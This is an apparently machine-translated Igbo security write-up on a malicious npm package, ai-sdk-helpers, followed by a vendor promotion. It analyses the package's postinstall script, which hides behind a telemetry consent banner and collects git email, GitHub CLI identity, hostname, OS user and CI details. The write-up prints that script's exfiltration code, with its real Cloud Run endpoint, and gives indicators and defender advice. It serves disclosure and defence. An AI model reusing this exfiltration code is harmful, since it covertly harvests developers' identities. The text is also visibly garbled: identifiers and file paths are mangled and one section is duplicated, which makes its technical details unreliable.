Nkwenye Ihe mkpuchi Ngwugwu npm nke na-ezochi njirimara onye nrụpụta

Ihe mkpuchi nkwenye: Ngwugwu npm nke na-eyi ọkọlọtọ nkwenye telemetry n'elu owuwe ihe ubi nke onye nrụpụta

TL; DR

Otu ngwugwu npm, ndị enyemaka AI-sdk, na-egosi onwe ya dị ka ngwa mmepụta maka Vercel AI SDK, na-enye nlekota ọnụ ahịa, ọdịda ndị na-enye ọrụ, na ndị na-enyere aka na mgbasa ozi.

Ederede oge nrụnye ya na-amalite site na ọkọlọtọ ngosipụta mara mma nke na-akọwa nchọpụta ahaghị aha, na-ekwe nkwa na a gaghị ezipụ koodu isi mmalite, ihe nrịbama, ma ọ bụ asambodo ọ bụla, na-asọpụrụ DO_NOT_TRACK ịpụ, ma jikọọ na ibe amụma telemetry.

Otu edemede ahụ na-agụkwa njirimara git nke onye nrụpụta, nhazi GitHub CLI, aha njirimara igwe, aha njirimara OS, ndekọ ọrụ, na onye na-enye CI.

A na-etinye data ahụ dị ka JSON na njedebe Google Cloud Run, na-emepụta enweghị nkwekọ doro anya n'etiti amụma telemetry ekwuputara na ubi ndị a na-anakọtara.

E bipụtara ngwugwu ahụ n'ụdị iri abụọ na abụọ n'ime otu mgbawa nke sekọnd 83, edemede nrụnye ahụ dịkwa otu byte-for-byte n'ofe ụdị ọ bụla e depụtara akara.

Asaa n'ime ụdị asatọ ndị anyị nyochachara pipeline e nyere akara ndị na-enweghị njedebe site na klaasị ML n'ihi na nhazi nkwenye-banner dị ka telemetry ziri ezi.

Anyị na-ahazi ọkwa ai-sdk-helpers dị ka ihe ọjọọ dabere na nchịkọta njirimara onye nrụpụta oge nrụnye na mwepụ.

Oke ike: dị elu.

 Ọdịdị nke nrụnye ahụ

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

nrụnye mgbe etinyere na-agba ọsọ na akpaghị aka npm tinye, tupu e bubata koodu mgbasa ozi ọ bụla nke ngwugwu ahụ. scripts/postinstall.js bụ ebe omume niile nke oge nrụnye dị.

Ọ na-amalite site na ngọngọ okwu na ọkwa oge ọrụ edere na ndekọ nke ọrụ mepere emepe nke na-eche maka nzuzo:

>Mgbe ị wụnyela ai-sdk-helpers, anyị na-eme nyocha ngwa ngwa nke ndakọrịta gburugburu ebe obibi ma kọọ akụkọ nchọpụta ahaghị onye ọ bụla… Data ahụ bụ nke a na-amaghị aha ya kpamkpam — anyị na-anakọta ikpo okwu gị, ụdị Node, na otu ụzọ nke njirimara igwe gị. A naghị ezipụ koodu isi mmalite, ihe nrịbama, ma ọ bụ asambodo ọ bụla.

Ọ na-ejikọkwa ọnụ ụzọ nkwụsịtụ na-arụ ọrụ, koodu mbụ a ga-emezu na faịlụ ahụ:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

Ịkpọchi ọnụ ụzọ ámá a mbụ bụ ihe na-eme ka ndị ọzọ gụọ dị ka ihe nkwekọrịta: onye mmepụta nke na-edozi `D_NỌT_TRACK` E mechaa nrụnye ahụ n'olu dị ala ma mechie ngwugwu ahụ na-asọpụrụ mgbakọ ahụ. Nhapụ a na-asọpụrụ bụ eziokwu. Ihe ọ na-abata, maka onye ọ bụla na-edoghị ya, bụ nchịkọta akọwara n'okpuru - ọ bụghị aha ọkwa "ikpo okwu dị warara, ụdị Node, na hash otu ụzọ".

N'okpuru ọnụ ụzọ ámá ahụ, edemede ahụ na-achịkọta ibu ọrụ nke gafere nkọwa ahụ.

  • *Gnjirimara.* rdozieScmnjirimara()` isi.gitconfig`,`~.config/git/config`,na ọrụ ugbu a nke `.ya/nhazi`,na-akọwa `[ser]` ngalaba, ma weghachite nhazi ahaziri commit email. Ọ bụrụ na faịlụ nhazi ọ bụla enyeghị email, ọ na-alaghachi na 'G'T_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,na `EAIL` mgbanwe gburugburu ebe obibi. Akwụkwọ ndekọ dị n'elu ọrụ ahụ na-eme ka agụ dị ka ụzọ "iji wepụ nrụnye n'ofe igwe nke otu onye ahụ nwere (dịka ọmụmaatụ laptọọpụ + CI)" - ebumnuche akọwapụtara nke chọrọ njirimara kwụsiri ike nke onye mmepụta ọ bụla, nke a commit ihe email.
  • *Gakaụntụ tHub.* rsolveGitHubIdentity()` isi.config/gh/hosts.yml` na `~.config/gh/hosts.yaml` faịlụ nhazi nke GitHub CLI dere mgbe onye nrụpụta gosipụtara - ma regex-ewepụta 'u'er:` nd `eadị:` ields. Faịlụ ahụ na-echekwa ihe nnọchianya GitHub OAuth; regex nke edemede ahụ na-elekwasị anya kpọmkwem na aha njirimara na ahịrị ozi-e ma ọ naghị ewepụta ihe nnọchianya ahụ. Ya mere, nkwupụta nke "enweghị ihe nnọchianya ... a na-eziga" nke ọkọlọtọ ngosipụta bụ eziokwu maka otu ubi ahụ ebe a na-agụ ma na-eziga ihe njirimara akaụntụ gbara ya gburugburu.
  • *Hakara mkpisi aka st na CI.* edemede ahụ wee chịkọta `o.aha nnabata(),`o.userInfo().aha njirimara`,Ụdị Node, ikpo okwu na usoro ụlọ, `pocess.cwd()`,na akara onye na-enye CI nke edoziri site na ịlele mgbanwe gburugburu ebe obibi maka ndị na-enye ọrụ asatọ (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, na ọkọlọtọ CI abụọ). Ndepụta onye na-enye ọrụ na-agụ dị ka ndepụta ebe edemede ahụ na-atụ anya imezu - shei mmekọrịta na nrụpụta akpaaka pipelinedị ka.

A na-achịkọta ihe ndị a niile n'otu 'd'ndị na-enweghị nkwenye ihe, yana ubi onye mmepụta ọ bụla anakọtara n'okpuru `iihe ey na data onye ọbịa dị n'okpuru `roge` nd `cederede` ees, wee tinye usoro ma ziga ya:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

A tụfuru azịza ya ma loda njehie niile - otu okwu kwuru na "telemetry agaghị emebi nrụnye ahụ." Aha nnabata njedebe na-ezochi ọrụ Google Cloud Run na `eeriri-ọdịda anyanwụ1` egion.

Ihe dị n'ime ya bụ akụkọ ahụ. Ọkọlọtọ ahụ kpọrọ ụdị data atọ — ikpo okwu, ụdị Node, na hash njirimara igwe. Ibu ọrụ ahụ na-eziga ezigbo git nke onye nrụpụta. commit email, aha njirimara na ozi-e GitHub ha, aha nnabata igwe ha na aha akaụntụ OS, ụzọ ọrụ ha, na gburugburu CI ha. Ubi ndị na-achọpụta *prson na akaụntụ ha* kpọmkwem ubi ndị ahụ mkpughe ahụ na-ewepụ.

README na-eme ka fremu ahụ si n'akụkụ nke ọzọ ike. Ngalaba "Telemetry" ya na-emegharị nkwupụta nzuzo ma jikọta okwu `D_NỌT_TRACK` o `cnsoledonottrack.com`,ibe obodo n'ezie nke na-edekọ nkwekọrịta ịpụ apụ — ịgbaziri nzuzo a ma ama standard iji mee ka ọkwa ahụ dị ka ihe a na-emekarị.

usoro iheomume

Nke a bụ ihe a chọtara otu ngwugwu nwere obere akụkọ mbipụta dị oke mkpa. Enweghị mkpọsa izu ole na ole a ga-esochi - a na-akwali ụdị mbipụta ahụ dum na ọsọ igwe.

Mgbe (UTC) omume
2026-06-03 20:31:20 Mbipụta mbụ (0.1.0) bipụtara na npm.
2026-06-03 20:31:20 – 20:32:43 Ụdị 22 niile (0.1.0 site 1.4.2) e bipụtara ya n'ime mgbawa akpaaka nke sekọnd 83.
2026-06-04 Ụdị asatọ e ji akara nchọpụta gosi; nyocha aka na-akwado nchịkọta njirimara na mwepụta nke oge nrụnye. Ngwugwu ahụ nọgidere na-adị ndụ na npm n'oge nyocha ahụ.

Windo nke sekọnd 83 n'ofe ụdị nkọwa 22 bụ ihe na-egosi omume: ụdị ọkwa (`0)1.0`,`01.1`,… `14.2`)na-egosi elu nke ọrụ a na-elekọta nke ọma yana akụkọ mwepụta, nke e mepụtara n'otu oge ederede. Ederede nrụnye anaghị agbanwe agbanwe n'ofe ọkwa ahụ — lee n'okpuru.

Ihe ngosi nke nkwekọrịta

Ibu ọrụ nke oge nrụnye ahụ yiri nke ahụ n'ofe ụdị mbipụta ebipụtara.ff` f `sripts/postinstall.js` n'etiti ụdị `02.1 ' ụdị na ụdị `14.2 ' ọ naghị eweta ọdịiche ọ bụla; omume ahụ bụ otu mkpịsị aka edobere, ọ bụghị ibu ọrụ na-agbanwe agbanwe.

Network

Windo nke sekọnd 83 n'ofe ụdị nkọwa 22 bụ ihe na-egosi omume: ụdị ọkwa (`0)1.0`,`01.1`,… `14.2`)na-egosi elu nke ọrụ a na-elekọta nke ọma yana akụkọ mwepụta, nke e mepụtara n'otu oge ederede. Ederede nrụnye anaghị agbanwe agbanwe n'ofe ọkwa ahụ — lee n'okpuru.

Ihe ngosi nke nkwekọrịta

Ibu ọrụ nke oge nrụnye ahụ yiri nke ahụ n'ofe ụdị mbipụta ebipụtara.ff` f `sripts/postinstall.js` n'etiti ụdị `02.1 ' ụdị na ụdị `14.2 ' ọ naghị eweta ọdịiche ọ bụla; omume ahụ bụ otu mkpịsị aka edobere, ọ bụghị ibu ọrụ na-agbanwe agbanwe.

Network

egosi ọrụ
npm-package-logger-228835561205.europe-west1.run.app Ebe njedebe nke Exfiltration na-enweta arịrịọ HTTPS POST yana ibu ọrụ JSON. A na-akwado ya na Google Cloud Run na europe-west1 mpaghara.

Akụrụngwa Decoy

egosi ọrụ
ai-sdk.guide Ebe obibi ngwugwu na saịtị dị ndụ nke na-akwado njirimara onye edemede "AI SDK Guide".
ai-sdk.guide/telemetry URL nke iwu Telemetry e zoro aka na ọkwa mkpughe oge nrụnye.
hello@ai-sdk.guide Ekwupụtara ozi-e onye edemede na package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Ebe nchekwa isi mmalite nke ngwugwu ahụ kwupụtara.

Agụọla faịlụ n'oge nrụnye

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` mail
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLIer` `eọrịa

Mbinye aka omume

  • – m `pstwụnye` akwụkwọ ozi na-akpọ oku maka edemede Node ejikọtara
  • - ọnụ ụzọ ọpụpụ (`A_SDK_HELPERS_TELEMETRY_NKWỤSỊ`,`D_NỌT_TRACK`)egosiputara dị ka atụmatụ nzuzo, tupu nchịkọta njirimara
  • – tbound HTTPS POST nke ihe JSON nwere ozi-e git, njirimara GitHub, aha nnabata, aha njirimara OS, cwd, na akara CI
  • - edemede nrụnye te-yiri n'ofe ọkwa mbipụta ngwa ngwa ebipụtara

 Ngosipụta na Omume A Hụrụ n'Anya
Anyị anaghị ekwu na ihe karịrị ihe ndekọ ngwugwu na metadata ndekọ ahụ.

Onye na-edebe npm nke ndekọ bụ akaụntụ `aeelsimon`,na adreesị `aiel@vigilance.security`.Ndekọ ahụ depụtara ozi email ahụ dị ka nke a na-enyochaghị, ebe njirimara isi mmalite nke akaụntụ ahụ bụ nke a na-enyochaghị.mkpọchi.json`,iche iche, na-egosi onye dere ya dị ka "Nduzi AI SDK`ello@ai-sdk.guide>`”nwere ebe obibi nke `a-sdk.nduzi` na ebe nchekwa isi mmalite n'okpuru `gnzukọ thub.com/ai-sdk-guide. Ngalaba ozi-e nke akaụntụ mbipụta ahụ (`vigilance.security`)na njirimara onye dere ya n'ime ngwugwu ahụ (`a-sdk.nduzi`)bụ ngalaba dị iche iche.

Ihe 'a'-sdk.nduzi` ọ dị ndụ ma na-aza, na `/elemetrị` ath na-edozi - njirimara aghụghọ ahụ na-akwado ọnụnọ weebụ a pụrụ iru kama njikọ nwụrụ anwụ, nke na-eme ka nkwenye nke nhazi ngwugwu ahụ dịkwuo elu.

**Ike a hụrụ.** Mgbe etinyere ya, ngwugwu ahụ na-agụ faịlụ njirimara onye nrụpụta na nhazi akaụntụ, na-eme ka mkpịsị aka onye ọbịa na gburugburu CI pụta ìhè, ma na-ebuga nsonaazụ ya na njedebe nke onye ọrụ na-achịkwa, ebe ọ na-egosi ọkwa nke na-akọwa data dị warara na nke a na-amaghị aha ya. Anyị na-akọwa omume a; anyị anaghị ekwu maka ihe kpatara ya. Ndị na-agụ akwụkwọ na-enyocha ngwugwu ahụ - gụnyere onye ọ bụla nke ghọtara njirimara mbipụta - kwesịrị ịtụle ọdịiche a na-ahụ anya n'etiti usoro data akọwapụtara na nke bụ eziokwu.

Mmetụta, usoro, na nduzi maka ndị na-agbachitere

Onye a na-ekpughe. Onye ọ bụla nke na-etinye ndị enyemaka AI-sdk — ozugbo ma ọ bụ dịka ndabere na-agbanwe agbanwe — na-agba nchịkọta ahụ na igwe ahụ. N'ihi na ihe na-akpali ya bụ nrụnye mgbe etinyere, a gaghị ebubata koodu ọbá akwụkwọ mgbasa ozi ahụ tupu usoro data ahụ emee; naanị nrụnye ezuola. Gburugburu ebe kachasị uru bụ ebe ọrụ ndị nrụpụta nwere njirimara git ahaziri ahazi na GitHub CLI akwadoro, yana ndị na-agba ọsọ CI, ebe nchọpụta CI-provider nke edemede ahụ na-egosi na a na-atụ anya na nchịkọta ahụ ga-agba ọsọ n'ime ụlọ. pipelineyana na laptọọpụ.

Ihe ọ na-ekpughe. Ọ bụghị ihe nzuzo ngwa n'okwu izugbe — ibu ọrụ ahụ na-elekwasị anya na njirimara: nke onye nrụpụta commit email, aha na ozi-e akaụntụ GitHub ha, aha igwe na akaụntụ, na ụzọ ọrụ ahụ. Nke ahụ bụ tupucismaapụ nke onye tinyere ngwugwu ahụ, na igwe, na ebe nchekwa, na sistemụ CI dị n'okpuru ya. Maka otu nzukọ, obere ndekọ ndị dị otú ahụ ejikọtara ọnụ ga-akọwapụta ndị injinia na sistemụ ndị na-ewulite ntụkwasị obi ahụ — bara uru dị ka ihe ga-ebute ọrụ ndị ọzọ ezubere iche, ọbụlagodi na omume nke ngwugwu a na-akwụsị na nchịkọta na nnyefe.

Usoro: telemetry dị ka mkpuchi. Ngwaọrụ ndị nrụpụta ziri ezi na-anakọta nchọpụta nrụnye na-enweghị aha, yana usoro maka ime ya n'ụzọ nkwanye ùgwù - ọkwa mkpughe, a EGWU_NỌTỤKWASỊ nsọpụrụ, ọkọlọtọ ịpụ apụ, URL amụma — a maara nke ọma. ndị enyemaka AI-sdk na-emegharị nkwekọrịta anọ ndị ahụ niile nke ọma ma jiri ha mee ihe dị ka ihe mkpuchi maka nchịkọta njirimara. Ọnụnọ nke ọkọlọtọ nkwenye, ọpụpụ na-arụ ọrụ, ma ọ bụ njikọ amụma nzuzo abụghị ihe akaebe na ngwugwu bụ ihe a pụrụ ịtụkwasị obi; njikwa ndị ahụ adịghị ọnụ ala iṅomi. Naanị nlele a pụrụ ịtụkwasị obi bụ ihe koodu ahụ na-agụ n'ezie na ebe ọ na-eziga ya n'ezie.

Nkwakọ ngwaahịa a nwekwara mmetụta a na-ahụ anya na nhazi akpaaka. N'ofe ụdị anyị pipeline enyochaala, okwu ederede dị mfe nke ntinye, aha ubi ahaziri ahazi, na ọnụ ụzọ mwepụ nkịtị nke e nyere akara dị ka telemetry nkịtị: asaa n'ime asatọ ahụ laghachiri enweghị ihe ọ bụla site na klaasị ML kama ịbụ ihe ọjọọ. Ihe mgbaàmà nke na-edozi mgbagwoju anya adịghị na prose - ọ dị na faịlụ kpọmkwem edemede ahụ meghere (~ / .gitconfig, ~/.config/gh/hosts.yml) na ebe ọ na-eziga. Onye nyocha, ma ọ bụ onye na-akpaghị aka ma ọ bụ mmadụ, nke gụrụ mkpughe ahụ wee kwụsị ebe ahụ ga-eru nkwubi okwu na-ezighi ezi; mkpebi ahụ ga-esite na eziokwu gbasara usoro data.

Ntuziaka maka ndị na-agbachitere:

  • Wụnye ya na scripts agbanyụrụ site na ndabara — npm wụnye –ignore-scripts, ma ọ bụ setịpụ ignore-scripts=eziokwu in .npmrc ma mee usoro nhazi a nwalere nke ọma. Nke a na-eme ka ọ ghara ịdị irè. nrụnye mgbe etinyere- nchịkọta a kpalitere n'ofe osisi.
  • Ejila njikwa ndị na-apụ apụ dị ka ihe mgbaàmà ntụkwasị obi. EGWU_NỌTỤKWASỊ nlele ma ọ bụ njikọ "atụmatụ telemetry" anaghị agwa gị ihe ọ bụla gbasara data edemede na-anakọta mgbe edobereghị ọnụ ụzọ ámá ahụ.
  • Gụọ njikọ nrụnye tupu ị nabata ngwugwu enyemaka AI-ecosystem. Oghere Vercel AI SDK bụ ihe mgbaru ọsọ na-aga ngwa ngwa, nke a pụrụ ịtụkwasị obi nke ukwuu; nrụnye mgbe etinyere nke na-emetụ ~ / .gitconfig or ~/.config/gh/ bụ ihe mgbaàmà doro anya n'agbanyeghị otú e si dee okwu ndị gbara ya gburugburu.
  • Lelee mwepụta oge nrụpụta. POST HTTPS na-apụ apụ n'oge npm tinye, ọkachasị ruo na njedebe ọrụ igwe ojii e nyere ọhụrụ, a na-ahụ ya na oyi akwa netwọk ma bụrụ ebe nchọpụta siri ike maka gburugburu CI.
  • Lelee maka ọkwa ụdị akpọchiri akpọchi. Ngwugwu nke akụkọ ihe mere eme nke ụdị nkọwa ya niile pụtara n'ime sekọnd ole na ole, yana edemede nrụnye na-agbanweghi agbanwe, na-egosi akụkọ mmezi emebere.
ngwaọrụ nyocha sca-ngwaọrụ-ngwanrọ-nchịkọta-ngwaọrụ nyocha
Mee ka ihe egwu dị na ngwanrọ gị buo ibu, dozie ya, ma chekwaa ya
Nweta Akaụntụ N'efu gị.
Enweghị kaadị akwụmụgwọ achọrọ.

Chekwaa mmepe na nnyefe ngwanrọ gị

ya na Xygeni Product Suite